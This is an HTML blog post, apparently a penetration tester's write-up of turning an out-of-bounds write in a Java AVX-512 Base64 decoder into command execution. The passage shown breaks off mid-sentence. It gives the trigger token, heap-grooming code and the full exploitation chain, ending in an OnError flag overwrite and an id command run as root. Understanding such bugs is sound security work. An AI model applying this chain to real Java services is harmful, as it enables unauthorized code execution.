&lt;p&gt;Every few years the industry picks a usual suspect. For the longest stretch it was PHP: the
language we loved to perp-walk, the one where a single &lt;code&gt;?cmd=&lt;/code&gt; and a sloppy &lt;code&gt;include&lt;/code&gt; handed you a
webshell and everyone nodded along: &lt;em&gt;of course&lt;/em&gt; it was PHP. We practically built a genre around it.
php2shell. The perfect culprit. Easy to arrest, easy to convict.&lt;/p&gt;
&lt;p&gt;But if you&amp;rsquo;ve seen the documentary that lends this section its title, you know the trap: the obvious
suspect, the one who &lt;em&gt;looks&lt;/em&gt; guilty, is the one the whole system railroads, while the real killer
walks out the front door because nobody could believe someone that respectable did it. So after all
the years we spent squinting at PHP, let me put the next defendant in the line-up. The one with the
alibi. The one wearing the suit that says &lt;em&gt;memory-safe, enterprise-grade, runs-your-bank&lt;/em&gt;:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Java.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Not Java-the-deserialization-circus you already know. This time there&amp;rsquo;s no gadget chain, no
&lt;code&gt;readObject&lt;/code&gt;, no &lt;code&gt;Runtime.exec&lt;/code&gt; hiding in a library three dependencies deep. The murder weapon is a
&lt;strong&gt;Base64 decoder&lt;/strong&gt;, the most boring, most audited, most &lt;em&gt;obviously innocent&lt;/em&gt; function in the
entire standard library. You send an HTTP request with a Base64 string that&amp;rsquo;s one character too
long, and a few requests later you&amp;rsquo;re running arbitrary commands &lt;strong&gt;as the user the service runs
as&lt;/strong&gt;. Just arithmetic: a decoder that does subtraction in the wrong order and writes 62 bytes it
had no business writing. The rest of this post is the long version of turning those 62 bytes into a
shell, with the wrong turns left in, because the wrong turns are most of what I actually did.&lt;/p&gt;
&lt;p&gt;A note on that &amp;ldquo;as the user the service runs as,&amp;rdquo; because it matters and I want to be precise:
&lt;strong&gt;the bug does not escalate privileges.&lt;/strong&gt; It gives you code execution inside the JVM process, so
your shell inherits whatever account that process already had. On the lab box the service happened
to be launched as &lt;code&gt;root&lt;/code&gt;, so the shell came back as root. That&amp;rsquo;s an operational sin (don&amp;rsquo;t run
your app as root), not something the exploit earns. Run the same vulnerable service as an
unprivileged &lt;code&gt;appuser&lt;/code&gt; and you get a shell as &lt;code&gt;appuser&lt;/code&gt;. The primitive is &lt;em&gt;pre-auth remote code
execution as the service account&lt;/em&gt;; the privilege level is whatever that account was.&lt;/p&gt;
&lt;p&gt;I&amp;rsquo;ll keep the moralising to one line: everything here ran on a box I was paid to break, behind a
firewall. Don&amp;rsquo;t point this at things that aren&amp;rsquo;t yours.&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id="part-0-how-i-ended-up-here"&gt;Part 0: how I ended up here&lt;/h2&gt;
&lt;p&gt;The engagement handed me a Java service that decodes auth tokens. Nothing exotic: it takes a
Base64 blob off the wire, decodes it, checks it. The kind of thing that exists in ten thousand
apps. The twist was a line in the scoping notes: &lt;em&gt;&amp;ldquo;the JVM is pinned to an AVX-512 profile.&amp;rdquo;&lt;/em&gt;
That&amp;rsquo;s a weird thing to write down, and weird things in scoping notes are usually there for a
reason.&lt;/p&gt;
&lt;p&gt;AVX-512 matters because &lt;code&gt;java.util.Base64&lt;/code&gt; has a hand-written SIMD intrinsic for the decode
path. HotSpot ships assembly stubs for hot library methods, and Base64 decode is one of them.
On a CPU with AVX-512 VBMI (the variant with &lt;code&gt;vpermb&lt;/code&gt;, arbitrary byte-shuffle across a 512-bit
register), the JIT swaps the plain Java loop for a stub that chews 64 input characters at a time.
It&amp;rsquo;s genuinely fast. It is also, it turns out, wrong at the edges.&lt;/p&gt;
&lt;p&gt;The VPS I was given didn&amp;rsquo;t &lt;em&gt;have&lt;/em&gt; AVX-512. Most cloud silicon doesn&amp;rsquo;t. So before I could even
look at the bug I had to fake the hardware, which is its own little saga (Part 2). But the shape
of the thing was already interesting: a vectorized decoder only misbehaves on inputs the scalar
decoder handles fine, which means the bug is invisible on every machine that can&amp;rsquo;t run the
intrinsic. You could fuzz this for a year on a laptop and never see it.&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id="part-1-whats-actually-broken"&gt;Part 1: what&amp;rsquo;s actually broken&lt;/h2&gt;
&lt;p&gt;Base64 packs 3 bytes into 4 characters. So a valid encoded string&amp;rsquo;s length is always a multiple
of 4 (padding with &lt;code&gt;=&lt;/code&gt; makes up the difference). Decode takes groups of 4 chars → 3 bytes.&lt;/p&gt;
&lt;p&gt;The question that breaks everything is: &lt;strong&gt;what does the decoder do when the length &lt;em&gt;isn&amp;rsquo;t&lt;/em&gt; a
multiple of 4?&lt;/strong&gt; A string whose length mod 4 is 1 is nonsense: you can&amp;rsquo;t have a leftover of a
single Base64 character, there aren&amp;rsquo;t enough bits to form even one output byte. The scalar
decoder notices and throws &lt;code&gt;IllegalArgumentException&lt;/code&gt;. Correct, boring, safe.&lt;/p&gt;
&lt;p&gt;The AVX-512 stub takes a different route. It processes the bulk of the input in 64-char vector
chunks and then has a &lt;em&gt;tail&lt;/em&gt; handler for the last partial group. The tail computes how many
bytes are left to emit, and here&amp;rsquo;s the sin, paraphrased:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;remaining = outputLength - bytesAlreadyWritten
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;When you feed it a length ≡ 1 (mod 4), the bookkeeping makes &lt;code&gt;bytesAlreadyWritten&lt;/code&gt; &lt;em&gt;larger&lt;/em&gt; than
&lt;code&gt;outputLength&lt;/code&gt;. So &lt;code&gt;remaining&lt;/code&gt; goes &lt;strong&gt;negative&lt;/strong&gt;. In a signed world that&amp;rsquo;s just a small negative
number; nobody cares. But this value gets turned into an AVX-512 &lt;strong&gt;store mask&lt;/strong&gt;, a 64-bit
bitmap where each set bit says &amp;ldquo;write this lane of the vector to memory.&amp;rdquo; The code builds the
mask with something morally equivalent to &lt;code&gt;(1 &amp;lt;&amp;lt; remaining) - 1&lt;/code&gt;, expecting a handful of low bits
set. Feed it a negative &lt;code&gt;remaining&lt;/code&gt; and the shift/mask collapses to &lt;strong&gt;all ones&lt;/strong&gt;. Every lane
enabled.&lt;/p&gt;
&lt;p&gt;So instead of writing the 1 or 2 tail bytes it should, the stub executes a full &lt;strong&gt;64-byte masked
vector store&lt;/strong&gt;, starting at offset 48 of the output buffer. The output buffer, for my malformed
token, is 50 bytes. 48 + 64 = 112. That&amp;rsquo;s &lt;strong&gt;62 bytes written past the end of the array.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;The token that does it is almost insultingly simple:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&amp;#34;A&amp;#34;*64 + &amp;#34;=&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Sixty-four &lt;code&gt;A&lt;/code&gt;s (one clean vector chunk to make sure the intrinsic is actually engaged) and a
single &lt;code&gt;=&lt;/code&gt; to push the length to 65, and 65 mod 4 = 1. That&amp;rsquo;s the whole exploit input. Everything
after this is just me being greedy about what those 62 bytes land on.&lt;/p&gt;
&lt;h3 id="one-thing-that-cost-me-a-day-you-dont-control-the-bytes"&gt;One thing that cost me a day: you don&amp;rsquo;t control the bytes&lt;/h3&gt;
&lt;p&gt;My first instinct was the obvious one: if I&amp;rsquo;m writing 62 bytes off the end, let me write a
&lt;em&gt;pointer&lt;/em&gt; off the end, groom an object there, classic heap overflow. I spent a good while trying
to steer the &lt;em&gt;contents&lt;/em&gt; of the overflow.&lt;/p&gt;
&lt;p&gt;You can&amp;rsquo;t. I tested token after token (&lt;code&gt;A...&lt;/code&gt;, &lt;code&gt;QUJD&lt;/code&gt;, &lt;code&gt;Z...&lt;/code&gt;) and dumped what actually landed
past the array. The bytes that come from &lt;em&gt;in-bounds&lt;/em&gt; input positions (offset ≤ 47) reflect my
data, sure. But everything from offset 48 onward, the part that&amp;rsquo;s actually out of bounds, is a
&lt;strong&gt;fixed &lt;code&gt;0x9a&lt;/code&gt;-ish fill pattern&lt;/strong&gt; regardless of input. It&amp;rsquo;s whatever garbage the vector register
held, and it&amp;rsquo;s constant. I don&amp;rsquo;t get to pick it.&lt;/p&gt;
&lt;p&gt;That reframes the whole exploit. I&amp;rsquo;m not writing a value I choose. I&amp;rsquo;m writing a &lt;em&gt;fixed, large,
junk value&lt;/em&gt; at a &lt;em&gt;location I choose&lt;/em&gt; (by sizing the output buffer so the overflow lands exactly
where I want). The only degree of freedom is &lt;strong&gt;alignment&lt;/strong&gt;. Which, as it happens, is enough,
because of what sits next to a Java array.&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id="part-2-making-a-laptop-pretend-to-be-a-server-cpu"&gt;Part 2: making a laptop pretend to be a server CPU&lt;/h2&gt;
&lt;p&gt;Quick detour, because without this nothing runs. The target silicon has no AVX-512, so the
intrinsic never activates on real hardware. I used &lt;strong&gt;Intel SDE&lt;/strong&gt; (Software Development Emulator)
to emulate an Ice Lake server core:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;./sde64 -icx -- ./jdk/bin/java ...
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;code&gt;-icx&lt;/code&gt; tells SDE to present Ice Lake&amp;rsquo;s CPUID, AVX-512 VBMI included, and to emulate any
instruction the real chip can&amp;rsquo;t run. HotSpot does its CPUID probe at startup, believes it&amp;rsquo;s on a
fancy chip, and installs the AVX-512 Base64 stub. From there the bug is live.&lt;/p&gt;
&lt;p&gt;Two JVM flags earned their place through pain:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;-Xbatch&lt;/code&gt; + &lt;code&gt;-XX:-TieredCompilation&lt;/code&gt; force C2 to compile the decode method &lt;em&gt;synchronously&lt;/em&gt;.
Under SDE on a single vCPU, the background compiler is so starved it basically never gets around
to the decoder on its own, so the intrinsic never installs and you sit there wondering why your
&amp;ldquo;working&amp;rdquo; exploit does nothing. Make compilation blocking and the problem disappears.&lt;/li&gt;
&lt;li&gt;A no-op / Epsilon garbage collector, or at least a heap big enough that no collection fires
mid-exploit. This matters more than it sounds and bit me hard (see Part 6).&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2 id="part-3-from-62-junk-bytes-to-a-readwrite-primitive"&gt;Part 3: from &amp;ldquo;62 junk bytes&amp;rdquo; to a read/write primitive&lt;/h2&gt;
&lt;p&gt;Here&amp;rsquo;s the fact that makes Java heap overflows delicious. A Java array header stores its
&lt;strong&gt;length&lt;/strong&gt; inline, right before the elements. The JVM trusts that length for every bounds check.
So if my 62-byte spray lands on the length field of a &lt;em&gt;neighbouring&lt;/em&gt; array and overwrites it with
&lt;code&gt;0x9a...&lt;/code&gt; (a huge number), that array now believes it is billions of elements long. Every
&lt;code&gt;arr[i]&lt;/code&gt; after that is an unchecked read or write into whatever memory follows it.&lt;/p&gt;
&lt;p&gt;I don&amp;rsquo;t control the junk value, but I don&amp;rsquo;t need to: &lt;em&gt;any&lt;/em&gt; large value turns a bounded array
into an unbounded window. The fixed &lt;code&gt;0x9a69a69a&lt;/code&gt;-flavoured fill is, if anything, perfect: it&amp;rsquo;s
enormous.&lt;/p&gt;
&lt;p&gt;So the groom is just: get a victim array allocated &lt;strong&gt;immediately after&lt;/strong&gt; my decode buffer, size
the buffer so offset-50-onward overflow lands on the victim&amp;rsquo;s length word, fire the token once.
In the lab app that&amp;rsquo;s three lines:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-java" data-lang="java"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;payload&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;outLen&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// overflow source (decode target)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;&lt;/span&gt;&lt;span class="kt"&gt;long&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;meta&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;long&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;8&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// victim: length gets smashed&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;&lt;/span&gt;&lt;span class="n"&gt;Object&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;anchor&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Object&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;App&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;class&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;};&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// a mirror to leak with, later&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The bump allocator lays those out back-to-back in order, so &lt;code&gt;payload&lt;/code&gt; sits right before &lt;code&gt;meta&lt;/code&gt;.
Here&amp;rsquo;s the whole trick in one picture. The decode writes forward out of &lt;code&gt;payload&lt;/code&gt; and lands on
the one field that matters, the length word of &lt;code&gt;meta&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-gdscript3" data-lang="gdscript3"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;payload&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;byte&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;50&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt; &lt;span class="n"&gt;meta&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;long&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;┌───────┬──────────────────────┐&lt;/span&gt; &lt;span class="err"&gt;┌────────┬────────┬──────────────┐&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;│&lt;/span&gt; &lt;span class="n"&gt;hdr&lt;/span&gt; &lt;span class="err"&gt;│&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt; &lt;span class="o"&gt;..&lt;/span&gt; &lt;span class="mi"&gt;47&lt;/span&gt; &lt;span class="err"&gt;│&lt;/span&gt; &lt;span class="mi"&gt;48&lt;/span&gt; &lt;span class="o"&gt;...&lt;/span&gt; &lt;span class="mi"&gt;49&lt;/span&gt; &lt;span class="err"&gt;│&lt;/span&gt; &lt;span class="err"&gt;│&lt;/span&gt; &lt;span class="n"&gt;klass&lt;/span&gt; &lt;span class="err"&gt;│&lt;/span&gt; &lt;span class="n"&gt;LENGTH&lt;/span&gt; &lt;span class="err"&gt;│&lt;/span&gt; &lt;span class="n"&gt;meta&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mf"&gt;0.&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="err"&gt;│&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;└───────┴──────────┴────────────┘&lt;/span&gt; &lt;span class="err"&gt;└────────┴────────┴──────────────┘&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;└────&lt;/span&gt; &lt;span class="n"&gt;valid&lt;/span&gt; &lt;span class="err"&gt;─────┘└─────&lt;/span&gt; &lt;span class="mi"&gt;62&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;byte&lt;/span&gt; &lt;span class="n"&gt;OOB&lt;/span&gt; &lt;span class="n"&gt;spray&lt;/span&gt; &lt;span class="err"&gt;──────▶&lt;/span&gt; &lt;span class="o"&gt;...&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="ow"&gt;in&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;bounds&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;echo&lt;/span&gt; &lt;span class="err"&gt;│&lt;/span&gt; &lt;span class="err"&gt;▲&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;of&lt;/span&gt; &lt;span class="n"&gt;my&lt;/span&gt; &lt;span class="n"&gt;input&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="err"&gt;│&lt;/span&gt; &lt;span class="err"&gt;│&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;the&lt;/span&gt; &lt;span class="n"&gt;AVX&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;512&lt;/span&gt; &lt;span class="n"&gt;store&lt;/span&gt; &lt;span class="n"&gt;starts&lt;/span&gt; &lt;span class="n"&gt;here&lt;/span&gt; &lt;span class="err"&gt;│&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;offset&lt;/span&gt; &lt;span class="mi"&gt;48&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="ow"&gt;and&lt;/span&gt; &lt;span class="n"&gt;runs&lt;/span&gt; &lt;span class="mi"&gt;64&lt;/span&gt; &lt;span class="n"&gt;bytes&lt;/span&gt; &lt;span class="err"&gt;─────┘&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;clobbers&lt;/span&gt; &lt;span class="n"&gt;meta&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;LENGTH&lt;/span&gt; &lt;span class="n"&gt;with&lt;/span&gt; &lt;span class="mh"&gt;0x9a69a69a&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;→&lt;/span&gt; &lt;span class="n"&gt;meta&lt;/span&gt; &lt;span class="n"&gt;now&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;2.5 billion&amp;#34;&lt;/span&gt; &lt;span class="n"&gt;elements&lt;/span&gt; &lt;span class="n"&gt;long&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;After the malformed decode, &lt;code&gt;meta.length&lt;/code&gt; reads back as something like 2.5 billion. Now
&lt;code&gt;meta[i]&lt;/code&gt; for large &lt;code&gt;i&lt;/code&gt; is an out-of-bounds read/write across the heap. That&amp;rsquo;s my primitive.&lt;/p&gt;
&lt;p&gt;The server exposes it as two endpoints, &lt;code&gt;peek(id, i)&lt;/code&gt; and &lt;code&gt;poke(id, i, v)&lt;/code&gt;, which just do
&lt;code&gt;meta[i]&lt;/code&gt; / &lt;code&gt;meta[i] = v&lt;/code&gt;. Perfectly innocent code; the app is &lt;em&gt;supposed&lt;/em&gt; to let a client index
its own cache. The corrupted length is what makes &amp;ldquo;its own cache&amp;rdquo; mean &amp;ldquo;all of memory.&amp;rdquo;&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id="part-4-turning-a-relative-window-into-an-absolute-one"&gt;Part 4: turning a relative window into an absolute one&lt;/h2&gt;
&lt;p&gt;A giant array gets me &lt;em&gt;heap-relative&lt;/em&gt; read/write: I can reach anything at a positive offset from
&lt;code&gt;meta&lt;/code&gt;. That&amp;rsquo;s not yet &amp;ldquo;read address X.&amp;rdquo; I need two upgrades: find out &lt;em&gt;where things are&lt;/em&gt;
(&lt;code&gt;addrOf&lt;/code&gt;), and reach addresses the array can&amp;rsquo;t (absolute R/W).&lt;/p&gt;
&lt;h3 id="addrof-the-free-way"&gt;addrOf, the free way&lt;/h3&gt;
&lt;p&gt;Compressed oops are the gift here. On a sub-4 GB heap, HotSpot stores object references as 32-bit
&amp;ldquo;narrow oops,&amp;rdquo; and, crucially on this build, with &lt;strong&gt;base = 0 and shift = 0&lt;/strong&gt;. That means a
narrow oop &lt;em&gt;is&lt;/em&gt; the object&amp;rsquo;s absolute heap address, no decoding. So:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Put a target object into my &lt;code&gt;Object[] anchor&lt;/code&gt; slot.&lt;/li&gt;
&lt;li&gt;Use the corrupted &lt;code&gt;meta&lt;/code&gt; window to read the raw 32-bit word of that slot.&lt;/li&gt;
&lt;li&gt;That word is the object&amp;rsquo;s address. Done. &lt;code&gt;addrOf&lt;/code&gt; for free, no &lt;code&gt;Unsafe&lt;/code&gt;, no leak gadget.&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="directbytebuffer-the-absolute-rw-pivot"&gt;DirectByteBuffer: the absolute R/W pivot&lt;/h3&gt;
&lt;p&gt;The &lt;code&gt;meta&lt;/code&gt; window can only reach &lt;em&gt;forward&lt;/em&gt; through the heap; it can&amp;rsquo;t touch libjvm&amp;rsquo;s high-mapped
addresses. For that I borrow a &lt;code&gt;DirectByteBuffer&lt;/code&gt;. A DBB has a native &lt;code&gt;address&lt;/code&gt; field (a plain
&lt;code&gt;long&lt;/code&gt; at a known object offset) pointing at its off-heap backing. &lt;code&gt;getLong&lt;/code&gt;/&lt;code&gt;putLong&lt;/code&gt; read and
write relative to that field.&lt;/p&gt;
&lt;p&gt;So: use the &lt;code&gt;meta&lt;/code&gt; window to &lt;strong&gt;overwrite the DBB&amp;rsquo;s &lt;code&gt;address&lt;/code&gt; field&lt;/strong&gt; with any pointer I want, then
call &lt;code&gt;region.getLong(0)&lt;/code&gt; / &lt;code&gt;putLong(0, v)&lt;/code&gt; to read or write &lt;em&gt;that&lt;/em&gt; address. The buffer becomes a
movable aperture over the entire 64-bit space. The server exposes this as &lt;code&gt;region/get&lt;/code&gt; and
&lt;code&gt;region/put&lt;/code&gt;. Two endpoints, arbitrary absolute read, arbitrary absolute write. The memory-safety
story of the whole process is now over; the rest is navigation.&lt;/p&gt;
&lt;h3 id="the-aastore-trap-half-a-day-gone"&gt;The aastore trap (half a day, gone)&lt;/h3&gt;
&lt;p&gt;One genuinely nasty snag. My first corruption target was the &lt;code&gt;Object[]&lt;/code&gt; itself, and I tried to
&lt;code&gt;aastore&lt;/code&gt; into the &lt;em&gt;corrupted&lt;/em&gt; array to plant references. Instant crash. Why: an &lt;code&gt;aastore&lt;/code&gt;
triggers a store-type-check, which walks the array&amp;rsquo;s &lt;strong&gt;klass pointer&lt;/strong&gt;, and my overflow had
smashed the bytes around the header, klass included. The type-check dereferences garbage and
faults.&lt;/p&gt;
&lt;p&gt;The fix is to never write &lt;em&gt;through&lt;/em&gt; the smashed object as a typed store. Do your &lt;code&gt;addrOf&lt;/code&gt; against
a &lt;em&gt;clean&lt;/em&gt; companion array, and compute the smashed object&amp;rsquo;s address arithmetically
(&lt;code&gt;writerAbs = addrOf(payload) + headerDelta&lt;/code&gt;) instead of asking the JVM to touch its poisoned
header. Obvious in hindsight. It was not obvious at 1 a.m.&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id="part-5-finding-libjvm-and-the-global-nobody-guards"&gt;Part 5: finding libjvm, and the global nobody guards&lt;/h2&gt;
&lt;p&gt;Absolute R/W is great but I&amp;rsquo;m firing blind until I know where &lt;code&gt;libjvm.so&lt;/code&gt; is mapped, since ASLR
moves it every launch. I need one reliable pointer &lt;em&gt;into&lt;/em&gt; libjvm that I can find from an object I
already hold.&lt;/p&gt;
&lt;p&gt;The trick: a class&amp;rsquo;s runtime &lt;code&gt;Class&lt;/code&gt; mirror (e.g. &lt;code&gt;App.class&lt;/code&gt;, the thing already sitting in my
&lt;code&gt;anchor&lt;/code&gt;) carries a hidden &lt;code&gt;Klass*&lt;/code&gt; field at a fixed, build-known offset. Follow it to the
&lt;code&gt;InstanceKlass&lt;/code&gt;, and the first word of a C++ &lt;code&gt;InstanceKlass&lt;/code&gt; is its &lt;strong&gt;vtable pointer&lt;/strong&gt;, which
points at a vtable &lt;em&gt;inside libjvm&lt;/em&gt;. One known constant later:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;libjvm_base = leaked_vtable_ptr − VTABLE_OFFSET
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;and I know where the whole library lives. (&lt;code&gt;VTABLE_OFFSET&lt;/code&gt; is specific to the exact JDK build.
I pulled it by dumping the InstanceKlass vtable offset once under a debugger. Different JDK,
re-derive it.)&lt;/p&gt;
&lt;p&gt;Now, the payoff. HotSpot has a diagnostic flag called &lt;strong&gt;&lt;code&gt;OnError&lt;/code&gt;&lt;/strong&gt;: a string the VM runs via
&lt;code&gt;/bin/sh -c&lt;/code&gt; when it hits a fatal error, so operators can auto-collect diagnostics on a crash.
It&amp;rsquo;s stored as a &lt;code&gt;char*&lt;/code&gt; global in libjvm&amp;rsquo;s flag table. If I can write that pointer, I control a
command that the JVM will cheerfully execute &lt;em&gt;as itself&lt;/em&gt; (i.e. as whatever account the service
process is running under) the next time it crashes. And I have an arbitrary crash on tap: just
point the DBB at an unmapped address and read.&lt;/p&gt;
&lt;p&gt;So the endgame is three writes and a nudge:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Write my command string (&lt;code&gt;id&lt;/code&gt;, or a reverse-shell one-liner) into some memory I know the address
of. The DBB&amp;rsquo;s own backing works.&lt;/li&gt;
&lt;li&gt;Overwrite &lt;code&gt;&amp;amp;OnError&lt;/code&gt; (= &lt;code&gt;libjvm_base + ONERROR_OFFSET&lt;/code&gt;) with a pointer to that string.&lt;/li&gt;
&lt;li&gt;Trigger a segfault. HotSpot&amp;rsquo;s fatal-error handler fires, reads &lt;code&gt;OnError&lt;/code&gt;, and runs
&lt;code&gt;/bin/sh -c &amp;quot;&amp;lt;my string&amp;gt;&amp;quot;&lt;/code&gt;.&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Executing /bin/sh -c &amp;#34;id&amp;#34; ...
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;uid=0(root) gid=0(root) groups=0(root)
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;There it is: the command runs. (On this box the process was running as root, so &lt;code&gt;id&lt;/code&gt; prints
root; see the note at the top. The exploit grabs the &lt;em&gt;service account&lt;/em&gt;, whatever it is, not root
